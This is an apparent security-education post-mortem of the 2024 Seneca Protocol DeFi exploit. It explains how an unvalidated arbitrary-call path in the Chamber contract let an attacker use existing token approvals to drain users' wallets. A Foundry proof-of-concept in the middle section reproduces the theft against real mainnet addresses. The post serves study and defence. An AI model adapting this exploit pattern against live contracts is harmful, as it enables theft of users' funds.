Seneca Protocol is a decentralized finance product which was exploited for $6million. Here is how it happened, a proof of concept, and how to mitigate it.
Table of Contents
On February 28th, 2024, the Seneca Protocol was exploited for ~$6 million. The exploit was due to the Chamber contract having approval on users’ funds alongside an external call in the Chamber contract.
In the code, the external call was made accessible within the Chamber::performOperations external function. This enabled the attacker to dictate which internal function was invoked. Specifically, this permitted the attacker to invoke Chamber::_call, which allowed the attacker to call any function on any contract as it accepts any arbitrary callData and any callee address. Consequently, the attacker could execute transferFrom() and transfer tokens from users' wallets to the attacker's address.
This exploit led to funds being stolen from users’ wallets directly instead of from users’ funds directly deposited into Seneca.
Seneca Protocol and its Background
Seneca Protocol is a decentralized finance (DeFi) collateralized debt position (CDP) protocol for yield-bearing assets. It allows users to borrow senUSD — a stablecoin pegged to $1 — against yield-bearing assets and leverage the yield.
The vulnerability in the Chamber contract, a collateral debt position factory, led to this exploit. The Chamber contract allows users to borrow $senUSD against collateral tokens while earning a fixed yield on their collateral.
Vulnerability Details
The attacker stole a total of ~$6M by taking advantage of the lack of input validation when calling Chamber::performOperations:
Chamber::performOperations is an external function that allows callers to specify the following:
actions: An int8 array to specify the target function(s) to call.
values: A uint256 array to specify the amount of ETH to send with the function call.
data: A bytes array to specify the arguments to the function(s).
Using a value of 30 for actions[0] meant that Chamber::performOperations called the internal function Chamber::_call:
// constants specified in Constants.sol
uint8 public constant OPERATION_CALL = 30;
// IF statement in performOperations()
else if (action == Constants.OPERATION_CALL) {
(bytes memory returnData, uint8 returnValues) = _call(values[i], datas[i], value1, value2);
...
}
This enabled the attacker to call any contract with any arbitrary data. The attacker was able to set callData as a transferFrom() function on a token, specify the from address to a user’s address, and the to address to an attacker's EOA address:
Since the msg.sender was the Chamber contract, the attacker could transfer funds to themselves since the Chamber contract had an approval amount that exceeded the total amount of collateral deposited.
This meant that the attacker was able to steal more than $6M of users’ funds. After a call from Seneca to return the majority of the funds via a Whitehat request, 80% of the funds have now been recovered.
Attacker balance before exploit: 0 PT-rsETH
Users balance before exploit: 1385 PT-rsETH
Attacker balance after exploit: 1385 PT-resETH
Users balance after exploit: 0 PT-rsETH
Proof of Concept: Replicating the Hack
The following code, written using Foundry, is a proof of concept for this hack and recreates the attack steps described above:
contract SenecaPoC is Test {
IERC20 constant PTrsETH = IERC20(0xB05cABCd99cf9a73b19805edefC5f67CA5d1895E);
IChamber constant CHAMBER = IChamber(0x65c210c59B43EB68112b7a4f75C8393C36491F06);
function setUp() public {
vm.createSelectFork("eth", 19325936);
//vm.etch(address(MARKETS_IMPL), address(deployCode('MarketsView.sol')).code);
vm.label(address(CHAMBER), "Chamber");
}
function testPoc() public {
console.log("Attacker balance before exploit:", PTrsETH.balanceOf(0x94641c01a4937f2C8eF930580cF396142a2942DC)/1e18, "PT-rsETH");
console.log("Users balance before exploit:", PTrsETH.balanceOf(0x9CBF099ff424979439dFBa03F00B5961784c06ce)/1e18, "PT-rsETH");
// arguments to pass to performOperations
// perform OPERATION_CALL = 30 for _call to be called
uint8[] memory actions = new uint8[](1);
actions[0] = 30;
// unused value to send with the tx
uint256[] memory values = new uint256[](1);
values[0] = 0;
// create the datas array argument (arguments to provide to call)
bytes[] memory datas = new bytes[](1);
// specify that the chamber contract calls tranferFrom
bytes memory callData;
callData = abi.encodeWithSignature("transferFrom(address,address,uint256)", 0x9CBF099ff424979439dFBa03F00B5961784c06ce, 0x94641c01a4937f2C8eF930580cF396142a2942DC, 1385238431763437306795);
address callee = address(PTrsETH);
bool useValue1 = false;
bool useValue2 = false;
uint8 returnValues = 0;
bytes memory data = abi.encode(callee, callData, useValue1, useValue2, returnValues);
datas[0] = data;
CHAMBER.performOperations(actions, values, datas);
console.log("Attacker balance after exploit:", PTrsETH.balanceOf(0x94641c01a4937f2C8eF930580cF396142a2942DC)/1e18, "PT-rsETH");
console.log("Users balance after exploit:", PTrsETH.balanceOf(0x9CBF099ff424979439dFBa03F00B5961784c06ce)/1e18, "PT-rsETH");
}
}
Key Takeaways
Audit: This protocol, including the Chamber contract, was audited. Despite this, the vulnerability was not mitigated before the exploit. The protocol was due to undergo a competitive audit in November but the audit did not go ahead. Multiple rounds of auditing including private and competitive audits are recommended.
Thorough Testing: Audits are not a fail-safe protection against exploits. To ensure smart contract security, thorough testing, including invariance testing, is required. -- Learn more about how fuzz invariant testing can help spot these vulnerabilities by reading this article.
Summary
The absence of input validation led to ~$6M of users’ funds being stolen.
Getting your protocol audited significantly decreases the probability of an attack like this happening.
To learn smart contract security and development, visit Cyfrin Updraft.